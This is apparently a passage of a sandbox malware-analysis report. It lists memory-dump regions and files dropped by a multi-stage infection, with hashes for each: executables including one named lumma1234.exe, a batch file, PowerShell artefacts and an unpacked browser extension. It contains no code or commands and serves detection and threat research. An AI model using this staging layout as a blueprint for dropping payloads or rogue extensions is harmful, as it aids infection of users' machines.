memory/3668-34-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-38-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-37-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-36-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-35-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-39-0x0000000000E50000-0x0000000001396000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe

MD5 25bec9c038d71af5921951344e59ee4b
SHA1 a89cc8069de0e4ed868ca79a0091788dcc4ce121
SHA256 591fcf3a682808b521ac44a242e084c4a812739b66a763b737e1550e1112c54a
SHA512 2918628e9608702808b11c7f98e158156c937c03f4e90991019fd93d7819c02cec67dc66ef8347a8556dd7cb22f4b78eae287ad3fa9faf1e1660ab70220a1a3f

memory/792-61-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/1080-62-0x0000000000830000-0x0000000000D04000-memory.dmp

memory/2532-74-0x00000000004F0000-0x00000000009C4000-memory.dmp

memory/1080-76-0x0000000000830000-0x0000000000D04000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

MD5 0099a99f5ffb3c3ae78af0084136fab3
SHA1 0205a065728a9ec1133e8a372b1e3864df776e8c
SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA512 5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

memory/5012-93-0x00000000004F0000-0x00000000009C4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe

MD5 ccb630a81a660920182d1c74b8db7519
SHA1 7bd1f7855722a82621b30dd96a651f22f7b0bf8a
SHA256 a73dc535324b73ab10c09ed2b965fc1b504a828f6059ddf99e26b9c03642a346
SHA512 8fd536da55b8e2a514bcea9cbe62492af1168b7713ea5955f3af8fcfa8060eac4ee079022380ab5ba5f9f7610a595981ed2f472fb14d569ac82057c50a785811

C:\Users\Admin\AppData\Local\Temp\nsgAD54.tmp\INetC.dll

MD5 40d7eca32b2f4d29db98715dd45bfac5
SHA1 124df3f617f562e46095776454e1c0c7bb791cc7
SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA512 5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

memory/2860-115-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2860-116-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2860-119-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2860-120-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2860-121-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2860-130-0x0000000000E50000-0x0000000001396000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe

MD5 e661a6c0e227fd8c7c4f04bdaa1e8e7c
SHA1 dfef840aeb0278cf40c6a65ef80d4b0755fb0311
SHA256 28476ec13192c2654bf5626b77891a78c1cc63472a936d15b6aecc32d680739d
SHA512 8d5a2f3794d50dc2fbaf3ea4ab1c76fdde1dd3e97977bad5a19ed5b9218f2cfb657f5c02728e511cdc296d888a2d92f57b6afa69b4167162dda66ecf7f48b987

memory/5012-132-0x00000000004F0000-0x00000000009C4000-memory.dmp

memory/2860-118-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/4172-152-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-151-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-153-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-154-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-155-0x0000000000AF0000-0x0000000001182000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe

MD5 c4ffab152141150528716daa608d5b92
SHA1 a48d3aecc0e986b6c4369b9d4cfffb08b53aed89
SHA256 c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475
SHA512 a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

memory/3048-165-0x0000000000D40000-0x0000000000D41000-memory.dmp

memory/4172-166-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-168-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/3048-171-0x0000000000D40000-0x0000000000D41000-memory.dmp

memory/1976-172-0x0000000000400000-0x0000000000455000-memory.dmp

memory/1976-170-0x0000000000400000-0x0000000000455000-memory.dmp

memory/4172-169-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/4172-167-0x0000000000AF0000-0x0000000001182000-memory.dmp

memory/2860-117-0x0000000000E50000-0x0000000001396000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsgAD54.tmp\abc.bat

MD5 f79d850a439815f276773a85f654511d
SHA1 42c4b202b7122ce48bb17975cf0a5be337d09fec
SHA256 31b4234965ffbff8d8a2d9dc8876d2edb1ba4eb44f482fedad5ed16284f872ff
SHA512 5ea67fac41596652b0eeaf1f8d4e01fb6d2f2495c7e7185c22e7cac5187d3fc5d02e1649710c0ef30419c6b2805c4d947cf39eab5f31d8f0b72cf3e37e3a507c

memory/2860-186-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2748-187-0x00000000048D0000-0x0000000004906000-memory.dmp

memory/2748-188-0x0000000005000000-0x000000000562A000-memory.dmp

memory/2748-189-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

memory/2748-191-0x0000000005810000-0x0000000005876000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0ikd5au.for.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2748-190-0x00000000057A0000-0x0000000005806000-memory.dmp

memory/2748-200-0x0000000005880000-0x0000000005BD7000-memory.dmp

memory/2748-201-0x0000000005D50000-0x0000000005D6E000-memory.dmp

memory/2748-202-0x0000000005D90000-0x0000000005DDC000-memory.dmp

memory/2748-203-0x00000000073B0000-0x0000000007A2A000-memory.dmp

memory/2748-204-0x0000000006270000-0x000000000628A000-memory.dmp

memory/792-207-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/2532-208-0x00000000004F0000-0x00000000009C4000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 c0636f2d138baca01dbb2eedb99bf3d5
SHA1 3b927899db0f3e2cb510782592887dc02fc3e400
SHA256 10973e727e5b0eb3f12aba60a682d66e79dfd86e4b6cfc454fd8df70c6e1fa8a
SHA512 0187a6ccb6428fb24ad4bc4ca14e7ce6f40ae6ca4f352f8e86a15288deb05cb4dd317ef8e9d04dc9ffb24407ecf0924af2c7910830c79366f7e4e48cb4b82b1d

memory/3652-215-0x0000000006170000-0x00000000064C7000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6b9a7cdfb17192102504e3a73fbda61b
SHA1 b1b8362286f513f51108ed7c2ed68aec7eef691d
SHA256 ac8889d15f53c7fa91d60dd1cce5a723693907e8148608a9389a34582100a99d
SHA512 656b3e1c6ae8c6b97749e42212e9d853977a700182e42bfa067083ebbaa44b95cca21935583a47a4cf502d520477fb85997cc8c4a2d279c856711e2865a7aa0b

memory/3652-220-0x0000000006B60000-0x0000000006BAC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\i0.exe

MD5 b80362872ea704846e892f16aab924c3
SHA1 222b36b97d7978929c6fd2d3b1ff8bd8504a5a33
SHA256 d42c001c3cf58d276a5bf52eb8a56158343676a18952b94d6de8c1e8127bf91e
SHA512 beadabff22437031fd2df2748527f60d67249abefa1afdedef233ce56ad54cb675835c849ecaa8248e0e2e597b13754b0c0611504818e700a59b4727fb4bc7a5

memory/4972-225-0x0000000000400000-0x00000000004E9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp

MD5 bdf5432c7470916ab3c25f031c4c8d76
SHA1 4762eeae811cfad7449a3d13fb1d759932c6d764
SHA256 72f7dbc5502cfce6de9184df4466a84fbbaa828048a183b0eb1690e79c886903
SHA512 33ff33582f75a67602233860d3057122a4f893d3ec3b58204617660ec46d1afd25657047f364c06f727e1604907e9cb740dc847b992249d0656100308c4bedde

memory/1932-235-0x0000000005D70000-0x00000000060C7000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d90d2705384ccae738e6dbf4d9057216
SHA1 af9e111470626cfa9de2489d3a5b2e00c52bf8c6
SHA256 4c5ab22187d9c24356f7a3898adf561af31694d6b21a40cba95f76d8d4e384bc
SHA512 091bf7f3f4e020e8ee1d0caf987ea327747c920ef1aacd6e43c39cc7758d4a5d0e969a333bb6869f8401653302475427e4fcbbab533f4f9e04510a624300286f

memory/1932-242-0x0000000006450000-0x000000000649C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\chrome.zip

MD5 52311257a997455c0a32e1679e0b614e
SHA1 395c475df7403e12651c8b6b1d52c33e5d7f3320
SHA256 50a78e3d21eea2c5a784eca08d5b4b0f2e4684fe8194a5bf0304c8ca6b18bddd
SHA512 19488ccb7d6cbf5e33ab492bd23bcdcd2edaa739ee808c4c5337fb27a0eb4e2632f2af6b2c8546127e20ac2d7a9cd94ffaa833d404fba0ab11ef7e0b301268a0

memory/2520-332-0x00000000000C0000-0x0000000000594000-memory.dmp

memory/4172-331-0x0000000000AF0000-0x0000000001182000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj\manifest.json

MD5 1d47eb945d1299c0e53bcada476d32b3
SHA1 509f9041f7e2a14402915feb4f2a739cfac5636b
SHA256 0a40fc9c57498f6fa92f5d52688f3cf55ecc607d7d91be7997412105def9278a
SHA512 6d20d3855225ee48373ee1ae19d5cecf90951a507c9c1d23d86fe0bb4f73def9545f0fd18ce821a3d63fa636b06d08a52a41c0f3a3cb2edc20d8ef92919b4258

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj\js\background.js

MD5 432c4c1300ba1c077fbd681f9667a104
SHA1 33482cd9df3a5ae20ad7f978f51bd35d2453c9ba
SHA256 adeb84b81042b094ffcfd21ca8c8c33b1a031ef02dc6a64604393197ff075f04
SHA512 0ab8f623e52550e8c06b385080cbfbe5377d0d718094d2c9436d910b17d86f9dcc4c722da419705604f38d26cdd0b524ef64d27abc58a66c9b24b660275cd2ad

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj\icons\icon-34.png

MD5 ca00972a17d51a3e6a28cfc8711474e4
SHA1 c806ba3bcfb0b785aa4804843d332f425c66b7e0
SHA256 fb5b73939e6a24b68f5780168cbef56c520a95c86b3daf0d6ae3fd6f70ead1aa
SHA512 9731e6e583fdcb148f3ed46daa1749a8217124541f2f925b10692100488e30ab50bf6e212b9a4a335d25c673381b11604ddb72830d502589d431342685277516

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj\icons\icon-128.png

MD5 d57a101cf48bd00b5297596c081ece42
SHA1 47be9ca3d2a57788957bb6f91d9a6886c4252c0f
SHA256 a47dfbb6b7b40189b6cbed618537292e8e447bf376d37b34c4b38e87bf398bf5
SHA512 7110cf64ee0cabe13d49a31b84e5efecee89acb393cceff1d5ab9f18a2fbcd7930008fbcfe94b5324d35b90ce7102dcb62e14f81614dd579a64ba4ba8d339eb5

memory/2520-349-0x00000000000C0000-0x0000000000594000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\dlls.manifest

MD5 963fb7657217be957d7d4732d892e55c
SHA1 593578a69d1044a896eb8ec2da856e94d359ef6b
SHA256 1d4a8c5e18d7a189036f1074ffae7927b0450864f5c8622a44205e04ef13ce12
SHA512 f875fa56bcda6299681d2ca2852d5ae04504b1df8d8824170215d4c136a568fc2548ada88ea75178ce23b4649f1713a863926c4d02125cb29475251bf5781fdd

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\edge.zip

MD5 11a38af0ad330d95d2fb709612a44fa5
SHA1 bc173e51491e8ddbd88d35d03a88d91e47f4dc54
SHA256 0d82a391c8676e5bc07f7e91da281ad338a9cea8130f4ee81949fa418cc19970
SHA512 4bc5d99e14892b5f88ea15da5b6d02cd8131bf25e2990cdc1f88accca2cb984a547e58ac850fe15323d4a5752e0194ecea73acfb2cbab6769ac06e9002d4bad9

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\shlwapi.dll

MD5 4cac70c3fdb075424b58b220b4835c09
SHA1 651e43187c41994fd8f58f11d8011c4064388c89
SHA256 4094f54853d9eea9fb628e2207cd95042bae089711908d1c8ed189fad9448e2b
SHA512 810e97be3d47c67449a6049b52578f4f8dd829b62d015dde39c2a2381c481625540f945e06224b9c74e0deac089f6cd352f53343170138778c1f9e62e7518963

memory/792-462-0x0000000000E50000-0x0000000001396000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj.pem

MD5 5140dfdf0a240bc776f89e110ac7aee2
SHA1 56b5284532e3fb3aa225002735c8c1b463b05b57
SHA256 a972bc6f7c1c0b502ba5f1188c4d98f3b18b49e196deead61df2cc83f0216d13
SHA512 f991a73a5b8009925e096d396cbaad046d1ac7ff7b22c1f6a8bfc2f439509e84d90630bcb49d7fc3e74023154586660b76ff357e3736618d111ebcedac6e9619

C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj.crx

MD5 643d68f4b939c0bdb0f27618e3eb22dd
SHA1 6640ba01288d656504651d27c020d30baf92e65f
SHA256 08d7ef703042b061bedded3953c3d8d7a7ffbc3bbb6a2eb5c5c1ee4d3b6570f2
SHA512 68d9a428ee9d24ba050df724c00e7b667fd7166d3aa2ddb61bd37e22a58429bb540d3abbf79cb82b7eda35b0225e9f145bbf3865a325f96803fd333e63df9ce9

memory/4780-489-0x0000000000400000-0x000000000072C000-memory.dmp

memory/4972-490-0x0000000000400000-0x00000000004E9000-memory.dmp

memory/2532-491-0x00000000004F0000-0x00000000009C4000-memory.dmp

memory/2532-493-0x00000000004F0000-0x00000000009C4000-memory.dmp

memory/804-507-0x00000000004F0000-0x00000000009C4000-memory.dmp

memory/404-510-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/404-518-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/804-520-0x00000000004F0000-0x00000000009C4000-memory.dmp